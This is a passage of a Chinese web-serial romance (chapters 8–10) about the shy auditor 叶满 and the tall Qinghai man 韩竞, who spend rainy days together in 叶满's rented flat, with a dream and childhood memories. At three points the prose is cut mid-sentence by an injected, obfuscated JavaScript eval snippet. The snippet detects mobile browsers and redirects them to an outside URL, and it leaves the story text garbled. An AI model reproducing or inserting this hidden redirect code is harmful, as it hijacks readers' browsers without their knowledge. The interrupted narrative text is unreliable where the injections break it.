下雨了。 天气预报报道,新一轮降雨天气来袭,冬城连带着外面的县城都在范围之内,将会迎来大到暴雨。 叶满洗完脸出来,外面都下冒烟了,显然出去已经不现实。 他租的房子,只要是阴天下雨,就潮得要命,空气发闷,喘气都压抑。 吃过早饭,无事可做,对于两个不怎么熟悉的陌生人有点尴尬了。 叶满拘谨地和韩竞并排坐在床上,手搭在膝盖,攥成拳头。 “出不去了。”叶满垂眸说。 “嗯。”韩竞语气平和道:“这样待着也挺好的。” 叶满心里的紧张散去一点,眼睛盯着自己搁在膝上的手,哗啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩竞的脸,立体感很强,脸型瘦削,深邃的眼窝里,那双眼睛挺大,是菱形的,单眼皮,显得凶。 他现在正侧着脸看自己。 叶满眼睫颤动了一下,不好意思再看下去了,轻轻吃闭上眼。 衣料细细的摩擦声后,他的腰被搂住了。 叶满觉得自己被那人的体温烫了一下。 他一点点倒在床上,轻轻闭上眼。 风席卷冬城大街小巷,苍翠的树叶被刮下来,被大雨贴在了窗上,于是路过它的每一滴雨好像都被染上了绿色,爬满窗扉。 叶满蜷缩在男人宽阔的怀里,沾着韩竞体温的手搁在自己的胸口。 在他最有安全感的环境、一个完全符合他喜好的人。 他觉得心脏满当当的,虽然这种愉悦是暂时的,但他已经很开心。 他枕在韩竞的手臂上,轻声说:“韩竞,我们今天不出去了,好不好?” 韩竞的目光一直落在他的脸上,开口声音慵懒:“听你的。” 叶满又开心一点。 他安静了一会儿,从床上爬起来,双手握住韩竞的大手,拉他起来:“我们看电影去。” 韩竞身材太高大,但是腰部非常有力,动作灵敏矫健,叶满都没用力气,他就翻身坐起来。 叶满还没来得及反应,他的腰被一只结实的手臂勾住。 叶满耳朵红彤彤的,双手撑在韩竞的肩上,较普通人更高的体温透过黑色短袖传入他的掌心。 在男人那双黑眸懒散放松的注视中,叶满微微压下身,然后,一个羞涩的吻轻轻落在韩竞挺拔的鼻梁。 那一瞬,男人的眸色微微加深,但是叶满没看见。 8. 第 8 章 叶满在家里的最常活动区域,就是他的卧室。 这里采光好、也干燥,不足十平米的小空间里,塞着整面墙的老式衣柜、一张两米的床、一块儿毛绒地毯,还有一个电脑桌,几乎没空间落脚。 叶满更喜欢小一点的房间,这会让他有安全感。 床单已经旧了,但很干净。 他坐在床尾,摆弄自己买的那个二手投影仪。 上午九点,窗外的雨下成了烟,天黑得像锅底。 叶满窗台上种的那几棵大蒜长得非常好,挺拔地向上蹿,全然不知什么时候会被当成娇花一样培养他们的主人什么时候会把它们挖出来吃掉。 韩竞看着花盆里的几个小坑,饶有兴致地问:“这是养着吃的?” 叶满转头看了一眼,心情很好地回:“嗯,自己养的,省钱还好吃。” 韩竞很自然想起在KTV里见到的那一幕,那个青年从口袋里直接掏出一打钞票,放在那小鸭子手里。 他这真是该省省,该花花啊。 韩竞心想。 投影弄好了,照在白墙上边,还挺清晰的。 叶满爬上床,抱着枕头,对坐在他电脑桌前的高大男人说:“你上来呀。” 韩竞愣了一下。 第一次约会就在床上,根本没有循序渐进的流程。 韩竞倚靠在床头,心思没多少在那动画电影上。 俩人没什么交流地看了十几分钟的电影,韩竞确定了,叶满就只是想看电影,压根儿没别的心思。 虽然地方不大,但这床确实很舒适,他开始打量旁边的小装饰。 很快,他就被吊在床头的一大串乱七八糟的“法器”吸引注意力。 “我经常失眠。”叶满的声音响起来。 韩竞转头看他,见小卷毛儿有些不好意思地揉揉猫眼,说:“有人说这些好用。” 韩竞点点头,看见他的手绕到背后,轻轻捶了两下。 “不舒服?”韩竞低低问。 叶满不在意地说:“最近经常疼。” 他往韩竞身边蹭蹭,红着耳朵趴在了韩竞曲起的长腿上,手垫着、歪头看他。 电影的声儿不吵,雨声也被关在窗户外面,俩人的呼吸声都很清晰。 “韩竞,”叶满轻轻说:“你给我捏捏背,好不好?” 叶满有点怪癖,他小时候最喜欢被挠痒痒,类似犬类喜欢被撸毛儿一样,但是没人有时间给他挠。 他给爸爸挠背时,会期待他也能给自己挠挠,但是那是大人才有的特权,没人耐烦搭理他。 他的背遭受过很多折腾,小时候被爸爸打断过好几条凳子腿,被老师抽过竹条儿,他小时候体弱,还经常生病,会经常胸闷恶心呕吐,姥姥说那病叫“攻心翻”,每一次得病,他会难受得像要死掉一样,爸爸或者姥爷会给他揪后背,做农活的手特别粗糙有劲儿,扯着他的肉皮,捋着脊柱往上擀,当出现“嘎嘣嘎嘣”的响声时,他们就会说毒出来了。 而叶满会疼得哭,但很神奇,只要皮肉疼,他的恶心就会减缓。 后来,他慢慢喜欢上了被捏背,力气越重越喜欢。 今年他经常会觉得背痛,酸泱泱的,不持续、疼得也不厉害,所以他就没去看过大夫。 韩竞抬手,捏住了他的肩。 叶满感觉到男人不轻不重的力道,正舒缓着他酸痛的肩脊。 他像一个软体生物一样,从韩竞的腿上滑下,软趴趴滑到他的胸口。 韩竞就搂住了他的腰,另一只手在他的背上轻轻捏。 叶满小声说:“可以重一点吗?” 韩竞加大了力道,修长有力的手指在他肩上按摩。 “我陪你去医院看一下吧。”韩竞低头,唇在叶满的耳侧低低说道。 叶满摇头,并不在意地说:“可能是劳损。” 韩竞:“工作很辛苦吗?” 叶满觉得自己正泡在温水里,浑身懒洋洋的,他偏过头,轻轻贴住韩竞的嘴唇。 韩竞的目光落在他的脸上,手下动作停了。 叶满被放进了暖暖的被窝,脸侧柔软的棉花枕头凹陷,模糊的青色天光光洒在上面,他被人压在身下,堵住嘴唇。 他能感觉到来自那个他并不熟悉的男人的压迫感,他觉得结实的肌肉和强健的体魄就像动物世界里可可西里无人区上的野狼,神秘而令人着迷。 他没有任何挣扎的想法,他可以允许韩竞做任何事,自己并不金贵,韩竞满意就好。 瞪大的眼睛里投映着男人的影子,纷乱混沌的意识在男人停下时醒了一下。 韩竞脸色有点奇怪,皱眉盯着叶满,像是在窥视他的想法。 叶满嘴唇红润润,甚至在投影的光线下闪出晶亮。 “不亲了吗?”他有些不舍地小声说。 韩竞无言地从他的枕头下拿出一个东西。 气氛诡异地尬住了。 那是一把装在保鲜袋里的菜刀,开了刃的,正在天光下闪烁着森冷光辉。 叶满废了好大力气才解释清楚,这不是为了防韩竞,也不是想要行凶。 他觉得窘迫又丢人,生怕韩竞对他印象不好了。 他抱着菜刀往外跑,把它插回刀架上,又跑回来。 韩竞正坐在床边,长腿撑地,低头看手机。 他在发消息,或许正和朋友说要离开了。 这让叶满觉得有点被嫌弃的焦虑,他走到男人面前,低着头,像一个做错事的孩子。 “我真的是忘了,”叶满机械地说:“对不起。” 他又吓到别人了……真糟糕啊…… 韩竞抬头,无意看到叶满垂在身侧的手指有细微发抖。 他皱皱眉,伸出手,牵起叶满冰凉的指尖。 叶满咬唇看着两人交握的手,不知道自己还能说什么。 他总是会出洋相,做出一些丢人的事儿,他快烦死自己了。 “背还疼吗?”韩竞开口问。 叶满探究他的脸色,渐渐放松下来,他唇角轻轻弯起,笑容柔和而天真,他摇摇头,说:“不疼了。” 叶满睡着了。 梦里他回到了大学宿舍。 那个学校宿舍楼总是潮湿,向阳处被一栋大楼挡着,阳光晒不进来。 那个人来人往的走廊地上总是湿漉漉的、带着陈旧的霉味儿,学生们端着盆去水房洗漱,然后在十点前要回到自己的宿舍。 叶满找不到自己的宿舍在哪里了,在梦里,他的眼睛出了问题,就像眼球被长时间压迫,导致难以聚焦。 走廊上的人慢慢少了,他们都回到了属于自己的地方,只剩下叶满一个在没有尽头的走廊里游荡。 梦里他困在了那个孤独和无助的潮湿长廊,惊惶推开一间,里面亮堂堂、热闹闹,他的眼睛却无法看清里边的人,无法确定这是不是自己的宿舍。 里边陌生的声音奇怪地问:“你找谁?” 叶满连忙道歉,仓惶退出。 他又推开一间、接着一间,那些温暖的宿舍都住满了人。 走廊里灯光暗下去了,已经没人,只剩下他一个,孤独得要死掉了。 这时,查寝老师出现在走廊。 叶满连忙跑上去,求助说:“老师,我找不到自己的宿舍了。” 老师替他查了,他才拖着自己全部的行李,疲惫地回到宿舍。 宿舍里的人都收拾好了,上了床,只有门口一个床铺还空着。 一共有五个人,有他的初中同学、高中同学、大学同学,在梦里,他竟然没觉得奇怪。 叶满原来的位置被占了,他看看自己原本的位置,小声说:“换位置了啊?” 从他进来就没人理会的室友,其中一个搭话:“对啊,有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424855|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 没问题。 叶满不敢起冲突。 他用抹布闷头擦自己的床铺,觉得自己在这个宿舍里就要窒息了。 明明这么多人,叶满却感觉到一种强烈的无助和紧张。 他擦干净了床,发现自己的柜子已经被占,只剩下最角落的位置。 他仍旧没吭声,耐心收拾着,终于擦干净,他想要把被子铺上去时,发现自己忘记从家里带被子来了。 他躺在了宿舍床上,紧紧蜷缩起来,好孤独……好孤独……好孤独啊。 “叶满——”一个声音传入他委屈和无助的世界。 他应了声。 “叶满,”一个低沉厚重的声音在他耳边说:“醒醒。” 叶满猛地睁开眼,瞬间从噩梦抽离,房间里投影已经关了,外面还在下雨,静谧的房间、温暖的大床,一切平静祥和。 他被身旁的陌生男人吓了一大跳,反应过来,立刻收敛脸上的惊吓,小声说:“哥,我睡着了。” 韩竞盯着他眼角渗出的眼泪,微微皱眉,低低说:“你梦魇了,一直醒不过来,已经下午了。” 叶满望向墙上的挂钟,现在竟然已经下午两点。 他睡得很累。 真是失礼,把客人晾在一边自己睡着了。他身体很弱,精神也弱,经常会感到疲惫,这样陷入梦魇的时候很多。 他抽了口气,钻进韩竞怀里讨好他,轻声说:“你想吃什么?我做给你吃。” 韩竞揉揉他的卷毛儿,说:“都可以。” 叶满想了一下,转瞬变得兴致勃勃:“我做卤味给你吃!” 韩竞低头看他,低低说:“这么厉害,还会做卤味?” 叶满点头,刚睡醒的嗓子微哑,带了股子撒娇的甜味儿:“我做饭可好吃了。” 家里的灯全都开了,叶满打开塞得满满的冰箱,将东西一样一样拿出来。 鸭爪、鱼丸、鸭肠、猪蹄、腐竹、海带扣…… 这个出租屋是他的全世界了,所以里边所有东西都不缺,如果世界末日来了,这些足够他一个人坚持两个月。 他系好围裙,对靠在厨房门口的男人说:“气象台发了防汛通知,泥林那边下得很厉害,你们的比赛可能没办法进行了。” “没事,”韩竞说:“就是随便玩玩。” 叶满忙忙碌碌,不大的厨房里,他像一个蝴蝶似的东边飞飞西边飞飞,动作忙而不乱。 “吃米饭吗?”叶满话题跳跃非常快,没什么逻辑。 韩竞目光跟随他,道:“好。” “等一下雨小一点了你再走,”叶满往锅里加水,说:“我多做一点,拿回去给你朋友吃。” 韩竞笑笑,说:“不用管他们。” “那怎么行?”叶满说:“我再烤几个菠萝派,你一起带走。” 他正讨好韩竞,想让他对自己印象好一点。 韩竞没再拒绝,一个多小时后,卤味和菠萝派都好了,房间里充满一种中草药香料味儿。 但是雨还没小,客厅里潮闷,那味儿就直接裹在人身上了,难闻。 叶满安装好折叠地桌,两个人面对面吃饭。 叶满的卷毛儿都被汗水打湿了,他并不在意,因为他的注意力多半都放在韩竞身上。 他口上说:“会不会咸一点?我这次做得不那么好。” 说完,他万分期待地盯着那个英俊的男人瞧。 “很好吃,”韩竞眼底闪过一丝不明显的笑意,慢条斯理说:“我很喜欢这个鸭掌,是我吃过最好吃的。” 他果然看到叶满心满意足地笑了起来,带着一点小得意和害羞。 叶满于是把所有鸭掌都挑出来,放到他面前,这才低头,安安静静吃起自己的饭。 下午六点,天已经黑了,外面亮起路灯。 叶满拿着伞送韩竞下楼。 9. 第 9 章 楼道里飘着各家各户的饭菜香味儿,浓重的水汽深浅斑驳着黏满小广告的老旧墙面,走在其中,连呼吸都发闷。 叶满走在韩竞身后,从三楼,一层一层往下走,声控灯亮起又熄灭,从外面看,顺着楼层向下,走马灯一样。 最终停留在关不严的单元门口,外面的大雨溅起水花,到人的裤脚。 “路上慢点。”叶满把伞递给他,小声说。 “嗯。”韩竞接过伞,却没挪步。 那把黑伞被叶满整理得非常整齐,握在男人的大手里,细溜溜的,叶满低头盯着那只手瞧,一楼的声控灯就暗下去了。 “外面下得好像很大。”叶满干巴巴说。 韩竞抬手,将单元门推开一条缝隙,大雨像是重量极高的石头,狠狠砸在地面,水很混,已经漫过了路牙子,看不清有多深。 “下得很大。”韩竞说。 一楼楼梯口空间不大,一说话都带着轰隆隆的回音,在耳边清晰回响,一下一下砸在叶满的心上。 “你一出去就会湿透了。”叶满说:“我给你找雨衣吧。” 韩竞:“好。” 叶满:“……” 他没动。 韩竞侧头看向站得板板正正的青年,大雨的天光里,小卷毛看起来乖巧又稚气,一点也不像27了。 叶满细软的黑发在圆眼睛前卷曲,有点遮眼睛,看不清神色。 他在韩竞的注视等待中,干巴巴开口:“我、我没有雨衣。” 韩竞慢悠悠“哦”了声,没说什么,也好像暂时没有出去的打算。 叶满紧紧捏着自己的睡衣衣摆,半刻后,慢吞吞地说:“在这儿睡吧。” “好。”韩竞这次答得很顺溜,顺便把单元门关上了。 世界陷入一片黑暗,隔着铁皮门,雨拼命地下,刷刷刷刷,噼里啪啦。 叶满慢吞吞转身,往台阶上走,他听到韩竞沉稳的脚步声跟在身后,忽然感觉到一种充实和踏实感。 咚咚的脚步声在三楼又停下,叶满把那扇严严实实的门打开,脚步轻快地往房间里面跑。 韩竞刚换完鞋,关上门,就见叶满抱着被子跑了出来。 他将客厅那张床收拾出来,利索地往上铺被子,草绿色的,清新又富有生机,然后,他跪在床上,啪啪拍枕头。 把新枕头拍得松软,然后对站在一边的男人说:“这屋可能有点热,我晚上不关门,里边的空调风能吹出来。” “家里有啤酒,你要喝吗?” “你会无聊吗?我把投影拿出来吧。” “对了,我去给你找衣服,你可以洗澡,热水器里有水。” 他爬下来,高高兴兴去卧室柜子里翻衣服毛巾和自己的新牙刷。 一转头,看见那个青海男人正倚靠在卧室门口,双手插在裤子口袋里,姿态慵懒,目光静静落在他身上。 叶满手下动作稍顿。 有时候他觉得韩竞这个人挺酷的,从外形上说,他身高腿长,一米九多的个头儿,头几乎顶到他那可怜的门框子,皮肤是古铜色,肤质微糙,像是常被风吹日晒的,这就了他粗犷而硬朗长相。 更别提那一头青茬儿,太过考验人的一个发型了,紧接着头皮,充满野性和压迫感,怎么看都是酷哥儿那种类型的。 但是偏偏他心地好,还特别温柔、会说话,让叶满觉得他八面玲珑,是那种见多识广的社会人。 这就让叶满有时候会有点害怕,怕他见过太多人,自己在他眼里没什么特别,怕自己被他看透了草包的本质、空洞的内在,然后开始对自己失去兴致。 他取出衣服,走到韩竞面前,腼腆地说:“给你……我前……” 他卡了个壳儿,立刻转移话题,说:“你穿应该合适。” 韩竞没接。 锐利的眸子扫了眼他手上的短袖短裤,淡淡开口:“前男友的?” 叶满尴尬地点头。 “不合适吧?”韩竞似笑非笑:“前男友的东西给现男友穿?” 那句“现男友”像是一道闪电一样,飞速闪过他的心头,他都差点忘了面前这个还算陌生的人和自己的关系。 心脏都跳漏了半拍。 他收回手,乖乖说:“那我再找找。” 韩竞转身走进客厅语气淡淡:“不用了。” 叶满性格太过敏感了,从他语气判断出他好像生气了。 他下意识追上去,哄道:“我不是故意的。” “不要生气嘛。”他撒娇。 “我现在就扔掉好不好?”叶满卑微地说。 “扔了扔了,”叶满跑到韩竞面前,急切地说:“你看,它在垃圾桶里!” 韩竞停住,与他对视,黑眸微深:“你还留着,是很喜欢你的前男友?” 这简直是对叶满的侮辱!他的脸都涨红了,呼哧喘气半天,憋出一句:“不共戴天!” 韩竞微微挑眉。 叶满垂下肩,为了让韩竞放心,万分羞耻地对外人挖掘自己的痛苦经历,用来讨对方开心:“我、我被他骗了一万多块……” 韩竞:“……” 打开空调后,房间里就有点凉了。 叶满抱着被子,灌了自己一口冰镇可乐,脸色气得绯红,又觉得很丢人。 “没送出去,之所以还留着,”讲完了事情起末,叶满憋屈地说:“那是我花钱买的,我不舍得扔。” 韩竞抬手,轻轻揉了揉他的卷毛儿。 叶满渐渐安静下来,被冰镇可乐染凉的手指轻轻攥住韩竞温热的手。 他望着韩竞,轻轻说:“你要不要可乐?” 坐在床边的韩竞注视着他的嘴唇,似乎已经猜到他的意图。 叶满含住一口可乐,径直贴了上去。 一口冒着气泡的可乐喂给那个男人后,叶满哄道:“你不一样,我愿意给你花钱,不会后悔的。” 韩竞:“……” 他有时候跟不太上叶满的脑回路,喉结轻微滚动,他咽下那口甜水,慢悠悠说:“什么意思?” 叶满在他唇上啃了一口,大方地说:“这段时间你可以什么都不用做,我包养你。” 韩竞:“……” 叶满笑着说:“你值一千万!” 韩竞也忍不住笑了。 他将这个本地土著小卷毛抱了起来。 公主抱。 叶满克服地心引力的瞬间,眼睛微微瞪大,心脏砰砰跳了起来。 他呆呆看着韩竞轮廓坚毅的下巴,被他从客厅,稳稳当当抱进了卧室。 然后,安置在床上。 细白的手攥紧空可乐瓶,他直直看着韩竞,像是完全没缓过神来。 那个高眉深目的青海男人欠身,轻轻在他唇角吻了一下,低声说:“我先去洗澡,一会儿来陪你。” 他的声线本就厚重低沉,这样略带宠溺感的压低,就让人更难招架。 叶满慢慢下滑,像压成纸片的海绵,慢慢溜进了被子里,半张脸遮住,只露出一双圆眼。 看着韩竞进了洗手间,叶满才放任自己害羞地滚来滚去。 他扔掉可乐瓶,蜷缩自己的床上,紧紧盯着洗手间门。 脑子里念头乱糟糟,他想,韩竞在干什么?自己还想多看看他的脸呢,快点出来啊,唉,好慢。 他的想象力有点脱缰,仿佛看见自己下床,走到洗手间门口,并把耳朵贴上去偷听韩竞洗澡进度,然后韩竞一脸嫌恶地出来,大骂自己变态,一拳把自己打飞并害怕得大哭、夺门而去。 他缩缩脖子,准备转移注意力,避免自己真的去做偷偷趴在门上听人洗澡的丢人事儿。 他一整天没看手机了,点开屏幕看,发现多了两条好友申请。 他猜到是谁了。 点进去看,果然是那两个小男模。 那个娃娃脸发了好几条消息:“哥,你怎么删了好友?我们可以做朋友的。” “哥,加回来吧,我把钱还你,咱们重新认识。” “虽然见面不久,但是我真的很喜欢你。” 叶满没有回复。 韩竞从洗手间出来,还是穿上了那套前男友的短袖睡衣。 好在洁癖的叶满有经常换垃圾袋的习惯,里面干干净净。 一个宽松的黑色短袖,一个到膝盖的宽松黑色短裤。 这套衣服是在夜市买的,他想要送给前男友,但是还没送出手就分了。 总共花了35,被男人穿出了三千五的价儿。 韩竞肩宽腿长,肌肉线条流畅匀称,整个人充满力量感。 叶满害羞地避开视线,腼腆地低头说:“你穿起来真好看。” 韩竞在他床 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“你、我、王壮壮、副所长、还有李梅梅。”同事十分激动,发消息带了一连串感叹号:“怎么办!!!我不想去!!!” 叶满心死了。 如果所长让他去,他也不可能拒绝。 前年,他穷得实在揭不开锅,主动停止缴纳公积金的时候,所长问过他的情况,并替他补交齐。 知道他没钱付房租了,他还给预支了半年薪水,所长是个好人。 他幽幽叹了口气,点击屏幕:“瓜保熟吗?” 孙媛说:“李梅梅告诉我的。” 李梅梅和他同岁,但是比他地位高多了,她是副所长的小情人,平时情报十拿九稳。 看到这句话,叶满又叹了口气。 孙媛跟他说:“现在开始喝红景天吧,葡萄糖什么的都提前买。” 叶满点进淘宝,开始下单。 又要出门了…… 翻着那些药品名字,他的情绪开始变得厌烦焦虑。 他经常这样,一点小事就可以把他拖进低落的情绪深渊里。 他又叹了口气。 半刻后,他不耐烦地关掉手机,趴在枕头里缓了一会儿,轻手轻脚爬起来。 客厅里很静,朦胧的路灯光线从厨房窗投进来,冷清清的。 他穿着拖鞋走出卧室门,悄悄向客厅床尾装助眠药的收纳箱走。 “睡不着吗?”慵懒放松的声音自身后响起。 叶满转头看过去,轻轻说:“吵到你了吗?” 他情绪低落,说话都湿漉漉的,在这样孤单的午夜里,没什么力气:“刚听到了一个恐怖故事,睡不着。” “男朋友陪你。”韩竞温柔慵懒的话让叶满的心脏被轻轻闪了一下。 男人躺在床上,在叶满眼里是好大一条人,他让出一点位置,略带困倦道:“过来。” 叶满踢掉拖鞋,从床尾爬了上去。 给韩竞铺的被子是前些日子刚被晒过、收起来的冬被,松软,还带着淡淡的阳光气味。 他爬到韩竞身旁,轻轻躺下,蜷缩进了他的怀里。 其实他看不清韩竞,也不在意他是谁,叶满现在只需要有人陪着自己,随便他是谁。 闭上眼睛时,韩竞搂住了他的腰,灼热的手臂捆在他的腰上,有点用力,但俩人贴得更近了。 叶满不想说话,他又觉得背疼、肉疼,说话都累得慌。 夜渐渐沉寂下去,他轻轻将脸贴在男人的颈窝。 “要捏捏背吗?”良久,韩竞的声音低低响起。 叶满“嗯”了声。 寂静的夜里响起一阵窸窣的衣料摩擦声,接着,他的背上轻微一热。 皮肉被不轻不重掐着,从一开始的肩,慢慢落在背上的每一寸肉。 灼热的温度隔着睡衣替他治疗,每一下都让他想起小时候被家里人簇拥的时光。 只有他生病的时候,家人才会围在他身边,把注意力放在他身上,爸爸这种时候打他的概率不高,他会感觉安全放松,所以伴随的背部疼痛也变成了那种感觉的标志。 他享受地闭着眼睛,呼吸也变得舒缓。 “谢谢你。”叶满轻声说。 韩竞没说话。 10. 第 10 章 他交过的男朋友,从来没有像韩竞这样温柔耐心的,他想大概因为人的层次不一样,所以素质也不一样。 第二天早上从床上醒来,他正躺在自己的床上,那个他很少会开的空调已经关了,身上盖着毛毯。 窗帘拉着,屋子里灰蒙蒙的,墙上圆形挂钟苍白的表盘上指向早上七点半。 是他平时上班起床的时间。 他习惯性拉开窗帘,外面就像冬季上班的早晨,黑咕隆咚。 云层很厚,将城市压得喘不过气来。 他将窗打开,向楼下看,昨夜的水褪了些,能看见路牙子了。 脸颊针刺一样微微一凉,叶满这才发现外面正下着牛毛针一样的细雨。 卧室门关着,客厅里有声响,他踩着拖鞋走出去,厨房灯隔着长条卧室模糊照过来。 韩竞正站在里面,低头在弄什么。 叶满嗅到了米粥的醇厚香气,他踩着鞋哒哒跑过去,好奇地探头看。 韩竞正在煎鸡蛋。 他的不锈钢平底锅里,鸡蛋已经焦香,旁边还有几片午餐肉。 叶满平时早上在公司吃,公司楼下的煎饼果子,只加土豆丝,四块钱一个。 他很久没正经吃早饭了。 “吵醒你了?” 韩竞动作很轻松熟练,那只很有劲儿的手正握着他的木头铲子,灵活地将鸡蛋翻了个面儿,随意问:“吃几成熟的?” 叶满双手撑着灶台,歪头看他的动作:“流心的。” 韩竞把鸡蛋拿出来,放在盘子里头,又打了两个进去。 还没有男朋友给叶满做过早饭呢,他觉得韩竞真好,一定是谈过很多恋爱才这么贴心。 他偏过头在韩竞的脸上用力亲了一口。 “啵”的一声后,他又哒哒跑走,进了洗手间。 洗漱完,韩竞的早餐就做好了。 瘦肉粥和煎鸡蛋,做得不比自己差。 叶满跑来跑去端盘子,然后坐在韩竞身边,安安静静吃起了饭。 韩竞好像有事儿,没动筷子,靠在椅子上回消息。 清晨的时间很安静,叶满能听到他的指腹落在屏幕上的轻微敲击声。 “小满。”韩竞开口。 大约隔了两三秒,叶满才有反应,他茫然地抬头,张张嘴唇:“啊?” 韩竞的注视里,他一只手捧着碗,局促地慢吞吞解释说:“他们都叫我小叶或者叶子,没反应过来。” 韩竞笑笑,放下手机,看向他说:“那我应该叫什么?” 屏幕光有些显眼,叶满无意识往上瞥了眼,在上面看见一条蛇,奇怪,好像是两条蛇。 “叫什么都行,小满也行。”他没敢多看,连忙答道。 他们这儿昵称不习惯“小”加上名儿,而是喜欢名或者姓氏后加个“子”,比如叶子、满子,“满子”不顺口,听起来像“蛮子”所以很少有人叫他的名儿。 ……虽然听起来很土。 韩竞:“那就小满。” 叶满弯弯眼睛。 韩竞:“我一会儿要去办点事……” 叶满点头。 韩竞的话还没说完呢,叶满的手机铃声忽然响了。 在这安静的早晨非常急促,跟催命似的。 叶满跑过去接起来,对面是副所长打来的,让他去单位加班,事儿很急。 叶满憋屈地应了,走出来,没精打采地说:“哥,我得去单位,你吃完自己走吧。” 韩竞:“……” 他皱眉道:“工作这么忙?” “没办法,”叶满开始收拾钥匙和笔记本电脑,说:“好在加班有补贴,可以多赚一点。” 韩竞又想起了KTV那晚上的一打钱,约么得两万左右了,看他注会都还在刷题,没考下来呢,这三线城市的一个小审计能赚多少啊? 叶满没留意他的脸色,进房间里换了衣服,一身灰扑扑的牛仔裤和灰短袖,然后急匆匆往门口走。 “哥,”叶满边换鞋边对韩竞说:“你不用收拾,吃完直接走就行。” 韩竞:“我送你。” 叶满注意力显然不在他身上了,翻出两个塑料袋,从门口盒子里拿出一只口罩戴上,说:“公交很方便,我充了钱,公司报销,不坐就亏了。” 他换好了运动鞋,打开房门。 楼道里一阵闷热的潮气扑面而来,让叶满的额头瞬间有点出汗,他看看黑洞洞的楼道,又快速转身,跑进了客厅。 隔着黑色口罩,叶满吻了坐在客厅里的酷哥儿的嘴唇一下,补上一句:“韩竞,早上好。” 韩竞的嘴角微微上扬,笑容慵懒:“路上小心。” 叶满跑了出去。 路上没人,路灯也没开,路牙子下的水很混,细细的雨正往水面戳,细波一层一层地漾。 叶满站在门口,将干净塑料袋套在鞋上,然后走了出去。 塑料袋充当雨靴,一把透明的伞在阴天的清晨废力前行。 孤独又可怜。 他很快出了小区门,腿上溅了不少泥点,公交车仍准时准点,破水而来,像是一个来引渡他的英雄。 他上了车,车里就他自己。 天阴得越来越厉害,跟黑天一样,公交都开了车灯。 城市里的人好像都消失了,只余下叶满一个人还在为生计奔波。 他总是忘记自己现在很有钱,他花自己的工资扣扣搜搜、精打细算,花得踏实。 但是那些钱自从在KTV花完后就没动过,那些钱他花着没感觉,就像虚拟币一样,他好像也不觉得那是真实的。 公交在公司附近停下,雨又下了起来。 公司里就他一个人,很安静,也不需要在意别人,他放松了一点。 收起伞,他打开自己的工位电脑,开始工作。 一边打印一边核对,他再看手机时,都已经十一点了。 韩竞没给他发消息,但是他的好友申请又更新。 他喝了口苦咖啡提神,皱眉点了通过。 那个叫刑昭的娃娃脸男孩儿一直锲而不舍,这次叶满通过后,他的消息几乎一秒进来。 “哥,你终于通过了。”刑昭说。 叶满缓缓发了个“?”过去。 刑昭:“我能请你吃个饭吗?” …… 下午大雨紧锣密鼓落了下来,下得跟世界末日一样。 城市天气预报发了防汛通知,不停更新的同城微博都是江水涨潮消息和房屋被淹。 打印机不间断地向外吐着材料,嗡嗡声沉闷,油墨的气味儿充满了不大办公室,叶满站在办公楼上向下看,楼底的树都被淹了。 所有人都忘记公司还有人,叶满问自己可不可以先回家时,给他安排工作的副所长惊讶地说:“我以为你早就走了呢。” 雨一直这样下去,他肯定就回不去了。 现在他也回不去。 他没精打采地走到打印机前,继续整理文件,电脑提示音滴滴响了几下,他没兴趣看。 那是刑昭发来的,叶满一直不回信息,他一直刷屏。 他说要还叶满钱,但是叶满等了很久,也没见他还。 打印机还在继续工作,叶满走到工位前,趴在桌上准备休息一会儿。 是一声炸雷将他吵醒的,他一个激灵起来,心脏突突跳得厉害。 打印机已经停止运行,电脑的薄光落在他狭窄的格子间里,贴满的便签落了一页在他的手臂旁。 他转头看向窗外,忽然一道扎眼的闪电在天际劈开。 太近了。 让叶满想起自己八岁时的一场雨。 他家前院的邻居家有一棵桃树,就在离他家最近的那个墙角,桃树每年都开花,但是结出的果子又酸又涩又小,还满是虫子。 每年春的讯息来,桃树就会开花,那年桃花还没败,雷就来了。 叶满像是平常一样,七点钟就睡下,睡得神经一跳一跳地痛,一道刺眼的闪电划破夜色,他立刻从浅眠里醒来。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424857|169117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趴在枕头上看向窗外,雷声将窗框震得哗哗响,接着,一道闪电从天空劈落。 近得好像就落在他的头顶一样。 他想起来姥姥说,爸爸总有一天会被雷劈死,他觉得雷是来找爸爸了。 小小的叶满在想,爸爸死了以后,自己要赚钱养妈妈,自己不会打妈妈的。 但是雷没有劈死爸爸,它劈坏了叶满最爱的电视机,还有前院邻居家的桃树。 第二天早上,雨过天晴,小叶满跑到邻居家的墙外,淘气地爬上土墙头,向里看。 里面有一个焦黑的大桃枝落在地上,桃花都枯萎了,树也黑了一块儿。 他兴冲冲跑回家告诉妈妈,然后爸爸去邻居家要了一块儿木头。 他说这是雷击木,辟邪。 姥爷用这块儿木头给他雕了一支小桃木剑,姥爷是木匠,他做得桃木剑很好看,让叶满带在身上,因为叶满总是生病,招回来一些不干净的东西,导致发烧呕吐。 他下意识摸胸前,想起那个桃木剑已经丢了。 丢失在城里同学的嘲笑里,还有自己可悲的自卑心里。 从那以后他没有再带过管用的护身符了。 他低头,捏了捏发酸的脖子,现在已经下午三点。 